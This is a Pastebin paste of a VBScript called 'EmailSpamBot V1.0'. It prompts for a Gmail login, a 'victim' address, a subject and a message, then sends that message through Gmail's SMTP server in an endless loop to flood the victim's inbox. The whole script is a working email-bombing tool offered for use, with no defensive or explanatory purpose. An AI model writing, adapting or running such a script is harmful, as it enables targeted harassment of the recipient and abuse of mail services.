Advertisement
Guest User

Untitled

a guest
Apr 6th, 2016
370
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.27 KB | None | 0 0
  1. Dim User
  2. Dim Pass
  3. Dim Name
  4. Dim Input
  5. Dim Input2
  6. Dim Input3
  7. X=MsgBox("Welcome. To log in Please Click OK and enter your G-mail & pass.",0,"EmailSpamBot V1.0")
  8. User = InputBox("Enter your G-mail:")
  9. Pass = InputBox("Enter Password:"& vbCrLf & ""& vbCrLf & "Please note passwords are NOT stored in this script and are case sensitive.")
  10. Name = InputBox("Enter Name:")
  11. Input = InputBox("Enter e-mail of victim:")
  12. Input2 = InputBox("Enter title:")
  13. Input3 = InputBox("Enter message:")
  14. EmailSubject = (""& Input2)
  15. EmailBody = (""& Input3)
  16.  
  17. 'Const EmailFrom = ""
  18. 'Const EmailFromName = ""
  19.  
  20. Const SMTPServer = "smtp.gmail.com"
  21. 'Const SMTPLogon = ""
  22. 'Const SMTPPassword = ""
  23. Const SMTPSSL = True
  24. Const SMTPPort = 465
  25.  
  26. Const cdoSendUsingPickup = 1 'Send message using local SMTP service pickup directory.
  27. Const cdoSendUsingPort = 2 'Send the message using SMTP over TCP/IP networking.
  28.  
  29. Const cdoAnonymous = 0 ' No authentication
  30. Const cdoBasic = 1 ' BASIC clear text authentication
  31. Const cdoNTLM = 2 ' NTLM, Microsoft proprietary authentication
  32.  
  33. ' First, create the message
  34.  
  35. Set objMessage = CreateObject("CDO.Message")
  36. objMessage.Subject = EmailSubject
  37. objMessage.From = "<" & User & Name & ">"
  38. objMessage.To = "<" & Input & ">"
  39. objMessage.TextBody = EmailBody
  40.  
  41. ' Second, configure the server
  42.  
  43. objMessage.Configuration.Fields.Item _
  44. ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
  45.  
  46. objMessage.Configuration.Fields.Item _
  47. ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = SMTPServer
  48.  
  49. objMessage.Configuration.Fields.Item _
  50. ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = cdoBasic
  51.  
  52. objMessage.Configuration.Fields.Item _
  53. ("http://schemas.microsoft.com/cdo/configuration/sendusername") = User
  54.  
  55. objMessage.Configuration.Fields.Item _
  56. ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = Pass
  57.  
  58. objMessage.Configuration.Fields.Item _
  59. ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = SMTPPort
  60.  
  61. objMessage.Configuration.Fields.Item _
  62. ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = SMTPSSL
  63.  
  64. objMessage.Configuration.Fields.Item _
  65. ("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 60
  66.  
  67. objMessage.Configuration.Fields.Update
  68.  
  69. do
  70. objMessage.Send
  71. loop
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement